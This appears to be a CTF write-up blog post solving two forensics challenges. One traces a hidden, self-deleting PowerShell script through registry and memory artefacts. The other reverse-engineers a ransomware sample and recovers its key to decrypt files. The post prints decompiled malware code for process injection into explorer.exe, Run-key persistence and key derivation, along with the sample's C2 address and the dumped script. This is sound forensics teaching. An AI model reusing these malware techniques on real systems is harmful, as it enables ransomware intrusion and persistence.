The Joy Of Nostalgia

  • A quick analysis of the RunMRU key and Windows Powershell.evtx shows traces of a script execution stage2.ps1 at around 17:28.
NTUSER.DAT
----------------------------------------
runmru v.20200525
(NTUSER.DAT) Gets contents of user's RunMRU key

RunMru
Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
LastWrite Time 2026-01-18 17:27:59Z
MRUList = cba
a   gpedit.msc\1
b   services.msc\1
c   powershell.exe -NoP -NonI -W Hidden -ExecutionPolicy Bypass -File C:\Temp\LG\stage2.ps1\1
----------------------------------------
WINDOWS_POWERSHELL.EVTX
<EventData>
    <Data>
        Stopped, Available, NewEngineState=Stopped
        PreviousEngineState=Available
        SequenceNumber=15
        HostName=ConsoleHost
        HostVersion=5.1.19041.1682
        HostId=ca814c95-5933-4d87-b844-d43f85dca2b4
        HostApplication=C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -NoP -NonI -W Hidden -ExecutionPolicy Bypass -File C:\Temp\LG\stage2.ps1
        EngineVersion=5.1.19041.1682
        RunspaceId=f6980405-2f10-4081-a369-223aa8f05385
        PipelineId=
        CommandName=
        CommandType=
        ScriptName=
        CommandPath=
        CommandLine=
    </Data>
    <Binary></Binary>
</EventData>

The process tree at around the same time shows activities from cmd.exe and conhost.exe but these processes can not be dumped for further analysis, likely because these processes were short-lived (1-2s runtime).

PLAINTEXT
$ vol.py -f memory.dmp windows.psscan | grep 17:28:..
8780	772	    MoUsoCoreWorke	0xa58a6935e0c0	12	-	0	False	2026-01-18 17:28:23.000000 UTC	N/A	Disabled
5772	5140	conhost.exe	    0xa58a6a158080	0	-	1	False	2026-01-18 17:28:03.000000 UTC	2026-01-18 17:28:05.000000 UTC	Disabled
5140	8276	cmd.exe	        0xa58a6a969080	0	-	1	False	2026-01-18 17:28:03.000000 UTC	2026-01-18 17:28:05.000000 UTC	Disabled
8704	652	    svchost.exe	    0xa58a6b220080	4	-	0	False	2026-01-18 17:28:23.000000 UTC	N/A	Disabled
1084	5140	PING.EXE	    0xa58a6b892080	0	-	1	False	2026-01-18 17:28:04.000000 UTC	2026-01-18 17:28:05.000000 UTC	Disabled
2496	772	    RuntimeBroker.	0xa58a6ba66080	12	-	1	False	2026-01-18 17:28:41.000000 UTC	N/A	Disabled
  • By analyzing the memory dump itself, we can see fragments of the (supposedly) ran script.
POWERSHELL
$ strings memory.dmp
$user   = "User1"
$domain = $env:COMPUTERNAME
$sid = ([System.Security.Principal.NTAccount]("$domain\$user")).
       Translate([System.Security.Principal.SecurityIdentifier]).Value
$dir = "C:\Temp\LG"
New-Item -ItemType Directory -Force $dir | Out-Null
# save carriers
& reg.exe save "HKU\$sid"     "$dir\HKCU_SAVED.hiv"    /y *> $null
& reg.exe save "HKU\.DEFAULT" "$dir\DEFAULT_SAVED.hiv" /y *> $null
# warm-up cache (1MB)
$N = 1048576
Get-Content "$dir\HKCU_SAVED.hiv"    -Encoding Byte -TotalCount $N | Out-Null
Get-Content "$dir\DEFAULT_SAVED.hiv" -Encoding Byte -TotalCount $N | Out-Null
# self-delete
$me = $PSCommandPath
Start-Process -FilePath "cmd.exe" -ArgumentList "/c ping 127.0.0.1 -n 2 >nul & del /f /q `"$me`"" -WindowStyle Hidden
# requires -RunAsAdministrator
$ErrorActionPreference = 'SilentlyContinue'
  • The developer used reg.exe to forcibly load 1MB of the hives to the memory.
POWERSHELL
$dir = "C:\Temp\LG"
$N = 1048576
Get-Content "$dir\HKCU_SAVED.hiv"    -Encoding Byte -TotalCount $N | Out-Null
Get-Content "$dir\DEFAULT_SAVED.hiv" -Encoding Byte -TotalCount $N | Out-Null
  • A filescan confirms the existance of DEFAULT_SAVED.hiv.
PLAINTEXT
$ vol.py -f memory.dmp windows.filescan | grep DEFAULT_SAVED.hiv
0xa58a6b704760	\Temp\LG\DEFAULT_SAVED.hiv
  • Viewing the file with a registry viewer shows nothing of interest. But by analysing the hive raw, we can find the secret bootstrap key that was deleted.
PLAINTEXT
$ strings -n 1 file.0xa58a6b704760.0xa58a6c87fad0.DataSectionObject.DEFAULT_SAVED.hiv.dat | tr -d \n | grep --ignore-case bootstrap
...
ssh://18.36.108.72:3636@vkTicket SEC-2024-1837(vkRetryCountD\}O vk	jE&BootstrapLGW0Gh05t_1n_Th3_Tr4n54ct10n
...

Flag: VSL{Gh05t_1n_Th3_Tr4n54ct10n}


Accidental

Overview

  • Navigating to the user’s directory (named employee)shows us many encrypted files with the extension .vsl.
  • A tiny hexdump of the encrypted file shows a CRYPT_V1 header along with what seems to be the original extension at offset 0x20.
OUTPUT
 $ xxd 24122024.vsl | head
00000000: 4352 5950 545f 5631 0000 0000 0100 0000  CRYPT_V1........
00000010: aefa 0600 b0fa 0600 9936 e428 1e8b dc01  .........6.(....
00000020: 2e72 6172 0000 0000 0000 0000 0000 0000  .rar............
  • Navigating to the Desktop directory gives us a ransomware note.
README.TXT
========================================
      YOUR FILES HAVE BEEN ENCRYPTED   
           by VSL RANSOMWARE           
========================================

Victim ID: VSL-E9F224E1-DESKTOP-8DLHUJ4

All your documents, photos, databases
have been encrypted with AES-128.
Your files now have the .vsl extension.

========================================
  • Seems like the files are encrypted with AES-128-XXX.
  • Analysis by parsing Window’s $MFT shows that the files were encrypted around 04:43:50 or 21:43:50 UTC
    Encrypted Files
  • An interesting note is before the files were encrypted, a binary called WindowsSecurityService.exe was created in the user’s Temp folder, which should raise up some red flags as this is commonly where malware move themselves to gain persistence.
    Suspicious Binary
  • Uploading this file onto VirusTotal confirms that is malicious.
    Virus Total

Malware Analysis

  • Static analysis using DetectItEasy tells us that this malware was written in C/C++. Which we will reverse engineer using Ghidra.

    Detect

  • Overview of some interesting functions:

    • InitializeStrings
    • InjectIntoExplorer
    • InstallPersistence
    • DeriveKeyFromSystem
    • encryptFile
  • The malware begins by initializing some strings.

INITIALIZESTRINGS.CPP
void InitializeStrings(void)

{
    if (g_Initialized == 0) {
        _C2Host = 0x36372b31342b3433;
        _DAT_1400130c8 = 1026698038;
        DAT_1400130cc = 0;

        XorDecode(&C2Host,12,5);
        _g_C2Port = 825307441;
        DAT_1400130e4 = 0;
        XorDecode(&g_C2Port,4,5);
        __mingw_snprintf(&g_RansomNote,2048,
                         "========================================\n      YOUR FILES HAVE BEEN ENCRYPTED    \n           by VSL RANSOMWARE           \n================================= =======\n\nVictim ID: %%s\n\nAll your documents, photos, databases\nhave been e ncrypted with AES-128.\nYour files now have the %s extension.\n\n============== ==========================\n"
                         ,PTR_DAT_14000e000);
        g_Initialized = 1;
    }
    return;
}
  • The strings includes:

    • The previously seen ransom note.
    • The C2 Server’s IP and Port, which is XOR-encrypted by 0x5, which decodes to 61.14.233.78:4444
    • This C2 Server address is also consistent with the VirusTotal analysis.
  • Next, in an attempt to gain persistence, the malware calls StartC2Communications(), which then inject Shellcode into explorer.exe.

INJECTINTOEXPLORER.CPP
undefined8 InjectIntoExplorer(void)

{
	undefined8 uVar1;
	int ProcAddress;
	
	ProcAddress = FindProcessByName("explorer.exe");

	if (ProcAddress == 0) {
		ProcAddress = FindProcessByName("svchost.exe");
		uVar1 = 0;
	}
	else {
		uVar1 = InjectShellcode(ProcAddress,&g_ShellcodeX64,460);
	}
	return uVar1;
}
  • Furthermore, the malware calls InstallPersistence(), which in turn calls CopyToTempAndPersist().
COPYTOTEMPANDPERSIST.CPP
undefined8 CopyToTempAndPersist(void)

{
	
	uStack_10 = 5368731472;
	GetModuleFileNameA((HMODULE)0,local_1008,260);
	DVar1 = GetTempPathA(260,local_2008);
	if (DVar1 == 0) {
		uVar4 = 0;
	}
	else {
		__mingw_snprintf((char *)local_3008,4096,g_PersistPath,local_2008);
		BVar2 = CopyFileA(local_1008,(LPCSTR)local_3008,0);
		if ((BVar2 == 0) && (DVar1 = GetLastError(), DVar1 != 80)) {
			return 0;
		}
		SetFileAttributesA((LPCSTR)local_3008,128);
		LVar3 = RegOpenKeyExA((HKEY)18446744071562067969,g_RunKey,0,2,&local_3010);
		if (LVar3 == 0) {
			sVar5 = strlen((char *)local_3008);
			RegSetValueExA(local_3010,g_RunValue,0,1,local_3008,(int)sVar5 + 1);
			RegCloseKey(local_3010);
		}
		uVar4 = 1;
	}
	return uVar4;

Constant set by the malware

  • To summarise, this function:

    • Get the Temp path of the user, then move the malware to PersistPath, consistent with where we found WindowsSecurityService.exe.
    • Modify the Software\Microsoft\Windows\CurrentVersion\Run key to WindowsSecurityUpdate, which will call WindowsSecurityService.exe.
  • Finally, the heart of the malware, the encryptFile() function and the DeriveKeyFromSystem() function, which is called by the InitializeCrypto() function.

INITIALIZECRYPTO.CPP
...
      local_3c = g_RawAESKey;
      local_34 = DAT_140013d08;
      BVar1 = CryptImportKey(g_hCryptProv,local_48,28,0,0,&g_hAESKey);
...
  • This key is then passed to encryptFile().

g_hAESKey referenced by encryptFile()

ENCRYPTFILE.CPP
undefined4 encryptFile(char *file)
{
        ...
        data[0] = '\x02';
        data[1] = '\0';
        data[2] = '\0';
        data[3] = '\0';
        CryptSetKeyParam(key,4,data,0);
        ...
}
  • Here, the data is set to 0x02, which in turn set the encryption algorithm to AES-128-ECB.
  • Now, the key is derived from the DeriveKeyFromSystem() function.

g_RawAESKey referenced by InitializeCrypto()

DERIVEKEYFROMSYSTEM.CPP
undefined4 DeriveKeyFromSystem(void)
{
    ...
	BVar1 = GetComputerNameA(&g_KeyComputerName,&local_4c);
	if (BVar1 == 0) {
		_g_KeyComputerName = 22051046311022165;
	}
	local_4c = 256;
	BVar1 = GetUserNameA(&g_KeyUserName,&local_4c);
	if (BVar1 == 0) {
		_g_KeyUserName = 22051046311022165;
	}
	iVar2 = GetCurrentUserSID(&g_KeyUserSID,256);
	if (iVar2 == 0) {
		_g_KeyUserSID = 3544945563108715859;
		_DAT_140013e28 = 3471483858412449837;
		DAT_140013e30 = 0;
	}
	local_5c = 0;
	BVar1 = GetVolumeInformationA("C:\\",(LPSTR)0,0,&local_5c,(LPDWORD)0,(LPDWORD)0,(LPSTR)0,0);
	if (BVar1 == 0) {
		_g_KeyVolumeSerial = 3472328296227680304;
		DAT_140013f28 = 0;
	}
	else {
		__mingw_snprintf(&g_KeyVolumeSerial,32,"%08X",(ulonglong)local_5c);
	}
	_g_KeyMachineGUID = 3472328296227680304;
	_DAT_140013f48 = 3472324997692796973;
	_DAT_140013f50 = 3256155514113699888;
	_DAT_140013f58 = 206966894640;
	_DAT_140013f5d = 3158064;
	uRam0000000140013f60 = 808464432;
	LVar3 = RegOpenKeyExA((HKEY)18446744071562067970,"SOFTWARE\\Microsoft\\Cryptography",0,131353,
												&local_58);
	if (LVar3 == 0) {
		local_4c = 64;
		RegQueryValueExA(local_58,"MachineGuid",(LPDWORD)0,(LPDWORD)0,&g_KeyMachineGUID,&local_4c);
		RegCloseKey(local_58);
	}
	GetTempPathA(260,local_168);
	__mingw_snprintf(&g_KeyPersistPath,260,g_PersistPath,local_168);
	__mingw_snprintf(&g_KeySourceData,1024,"%s|%s|%s|%s|%s|%s",&g_KeyComputerName,&g_KeyUserName, &g_KeyUserSID,&g_KeyVolumeSerial,&g_KeyMachineGUID,&g_KeyPersistPath);
	local_10 = BCryptOpenAlgorithmProvider(&local_18,L"SHA256",(LPCWSTR)0,0);
    ...
}
  • So the key is created from the:
    • Computer’s name.
    • The username.
    • The user’s SID.
    • The Volume Serial of Drive C.
    • The Machine’s GUID inside SOFTWARE\Microsoft\Cryptography
    • The previously found PersistPath.
    • All of these are separated with a |, then goes through Sha256 to get the 16-byte key.
CPP
__mingw_snprintf(&g_KeySourceData,1024,"%s|%s|%s|%s|%s|%s",&g_KeyComputerName,&g_KeyUserName, &g_KeyUserSID,&g_KeyVolumeSerial,&g_KeyMachineGUID,&g_KeyPersistPath);
  • The computer name can be retrieved from the ransomware note.
PLAINTEXT
Victim ID: VSL-E9F224E1-DESKTOP-8DLHUJ4
  • The username is employee.
  • The user’s SID can be found inside C:\Users\employee\AppData\Roaming\Microsoft\Crypto\RSA\%SID%which is S-1-5-21-2194485576-443945188-1043422397-1001.

The SID Key

  • The Volume Serial can be found using fsstat.
PLAINTEXT
$ sudo ewfmount challenge.E01 /mnt
$ sudo fsstat /mnt/ewf1
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: NTFS
Volume Serial Number: 01DC87F8E9F59FE0
OEM Name: NTFS    
Version: Windows XP
  • Since Windows only uses the lower 32-bits, our volume serial is E9F59FE0
  • The machine GUID’s can be found by inspecting the hive. dca5645e-d0dc-4f10-ac03-59fe070380cd.
    The MachineGUID in the SOFTWARE hive
  • And the PersistPath is the path where we found the malware. C:\Users\employee\AppData\Local\Temp\WindowsSecurityService.exe
  • Which then we can derive the key:
PLAINTEXT
$ cat key.txt | tr -d \n | sha256sum
da67fc3366bbe437aec7163db7fc2b744a0e60b5f48dda14585af83bf69079b0  -
  • Since this is AES-128, the key will be 16-byte, assuming it’s the first 16-byte.
  • The encrypted file is structured like so.
  ---
config:
  layout: elk
---
flowchart TB
 subgraph H["Custom Header (68 bytes)"]
        H1["0x00 – 0x07<br>Signature: CRYPT_V1"]
        H2["0x08 – 0x1F<br>Metadata / Unknown Fields"]
        H3["0x20 – 0x27<br>Original Extension<br>(e.g. .rar)"]
        H4["0x28 – 0x43<br>Padding / Reserved"]
  end
    A["Encrypted .vsl File"] --> H & C["0x44 → EOF<br>AES-128-ECB Ciphertext"]
  • Quick decrypt script:
DECRYPT.SH
#!/usr/bin/env sh

if [ -z $1 ]
then
	echo "Usage: ./decrypt.sh filename.vsl"
	exit 1
fi

HEXDUMP=$(cat $1 | xxd -p -c 0)
SIZE=$(( $(du -b $1 | awk '{print $1}') * 2 + 1 ))
CIPHERTEXT="$(echo $HEXDUMP | cut -c137-$SIZE)"
ORIGINAL_EXT="$(echo $HEXDUMP | cut -c65-73 | xxd -r -p)"
ORIGINAL_FILE=$(echo $1 | sed -e "s/\.vsl/$ORIGINAL_EXT/")
KEY="da67fc3366bbe437aec7163db7fc2b74"

echo $CIPHERTEXT | xxd -r -p | openssl aes-128-ecb -d -K $KEY > $ORIGINAL_FILE
  • The flag is located inside ProjectFinal.vsl, which will get decrypted to a zip file, extracting gives us MOCK_DATA.sql where the flag lies.
PLAINTEXT
$ cat MOCK_DATA.sql | grep "VSL"
insert into MOCK_DATA (id, first_name, last_name, email, gender, ip_address) values (700, 'VSL{y0u_c4n_f1nd_4nd_r3c0v3ry_1t_12112}', 'Pifford', '[email protected]', 'Male', '91.246.75.218');

Flag: VSL{y0u_c4n_f1nd_4nd_r3c0v3ry_1t_12112} and VSL{61.14.233.78:4444}

License

Author: Devobass

Link: https://blog.devobass-will.win/posts/vsl-ctf/

License: CC BY-NC-SA 4.0

This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. Please attribute the source, use non-commercially, and maintain the same license.

Comments